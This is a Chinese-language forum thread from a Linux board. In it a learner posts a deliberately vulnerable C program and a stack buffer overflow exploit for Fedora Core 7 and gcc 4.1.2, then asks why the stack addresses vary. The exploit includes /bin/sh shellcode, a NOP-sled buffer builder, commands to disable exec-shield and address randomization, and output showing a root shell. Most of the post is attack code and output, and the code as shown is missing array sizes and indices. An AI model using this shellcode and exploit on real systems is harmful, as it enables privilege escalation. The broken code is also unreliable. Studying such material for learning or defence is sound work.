一个溢出程序的疑惑(gcc 4.1.2+FC7)
一个有问题的程序:/*
* test.c for test overflow under FC7 with gcc 4.1.2
* you must echo "0">/proc/sys/kernel/exec-shield
* you mustecho"0">/proc/sys/kernel/randomize_va_space
*/
long get_esp()
{
__asm__("movl %esp,%eax");
}
void func(unsigned char *from)
{
unsigned char dest;
long esp;
esp = get_esp();
printf("esp : 0x%x\n",esp);//打印当前ESP内容
strcpy(dest,from);//此处溢出
}
int main(int argc,char *argv[]){
if(argc>1){
func(argv);
}
return 0;
}
攻击程序:
/*
* attacktest.c to attack test.c under FC7 with gcc 4.1.2
* you must echo "0">/proc/sys/kernel/exec-shield
* you mustecho"0">/proc/sys/kernel/randomize_va_space
*/
#include<stdio.h>
#include<stdlib.h>
unsigned char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
long get_esp()
{
__asm__("movl %esp,%eax");
}
main(int argc,char *argv[])
{
int i =0;
char *ptr;
long *addr_ptr;
long addr;
int offset=0,bsize=700;
unsigned char *buffer;
if(argc>1) bsize = atoi(argv);
if(argc>2) offset = atoi(argv);
addr = get_esp() - offset;
if(!(buffer=malloc(bsize))) {
printf("no enough memory!\n");
exit(0);
}
printf("esp : 0x%x\n",addr);//打印当前ESP内容
ptr=buffer;
addr_ptr=(long *)ptr;
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr;
for(i=0;i<bsize/2;i++)
buffer=0x90;
ptr=buffer+bsize/2;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode;
buffer='\0';
execl("./test","test",buffer,0);
free(buffer);
return 0;
}
对于attacktest.c的buffer的设计:|NOP.......NOP|shelllcode|ESP........ESP|,其中buffer的一半都是NOP
经过测试test.c被溢出的上限和下限分别是953和635(657为原先测试的下限,后来将test.c中大取ESP地址并打印的部分去掉了,下限就变成了635,后来又将打印ESP添上,下限仍然是635),我分析test.c堆栈结构如下(阴影部分不知道有什么用处):
假设attacktest.c中的buffer的长度为x,不考虑猜测EIP的偏差,shellcode长度为45,则必须满足:x/2+45<=512+4+4,则 x<=950,也就是NOP+shellcode部分必须在buff1以内。考虑到buff2要覆盖buff1并覆盖其后的EIP,因此x> 512+4+4,即x>520,即:
在不考虑猜测EIP偏差的情况下:520<x<950
现在考虑猜测EIP偏差,分别测试边界情况的猜测EIP偏差:
# ./attacktest 953
esp : 0xbfffe418----------------------------------------------->attacktest.c
esp : 0xbfffde88----------------------------------------------->test.c
sh-3.2# exit
exit
# ./attacktest 657
esp : 0xbfffe418------------------------------------------------>attacktest.c
esp : 0xbfffdfa8------------------------------------------------->test.c
sh-3.2# exit
exit
可以看出attacktest.c中ESP的地址比test.c的ESP地址高1000多,那么覆盖test.c中的dest后的返回地址就会比Ttest.c当前的ESP高出很多,就不会返回到dest去执行shellcode了。不解
另外,我编写程序打印ESP内容,发现GDB里调试的结果和单独执行不一样,而且在两个终端同时执行一个程序,结果也不一样。
高手说说linux下可执行程序刚开始的地址是怎么选取的吧?
对于
long get_esp()
{
__asm__("movl %esp,%eax");
}
main()
{
long esp;
esp = get_esp();
printf("%x\n",esp);
}
在不同终端中运行的记过分别是bfffe448,bfffe3a8,bfffe468
回复 #1 ruger 的帖子
anybody can help me? 这个 get_esp() 是不对的。得到的只是下栈桢的值,不是当前esp的值,得到当前esp,应该在当前处嵌入汇编
回复 #3 mik 的帖子
嵌入汇编,我明天试一下,不过感觉还是有问题,因为test.c和attacktest.c的get_esp返回结果超过1000了;get_esp()得到的不是当前esp的值,我觉得,应该是当前esp-4,但是都-4的话应该相互抵消了啊?详见:http://linux.chinaunix.net/bbs/thread-1026846-1-1.html 原帖由 ruger 于 2008-8-25 22:55 发表 http://linux.chinaunix.net/bbs/images/common/back.gif
嵌入汇编,我明天试一下,不过感觉还是有问题,因为test.c和attacktest.c的get_esp返回结果超过1000了;get_esp()得到的不是当前esp的值,我觉得,应该是当前esp-4,但是都-4的话应该相互抵消了啊?
详见:htt ...
你的程序感觉很乱,主贴又长又罗嗦, 所以,我基本没看你的贴子,只看了一眼 get_esp()
你最好把你的想法,意图清楚地表达出来
页:
[1]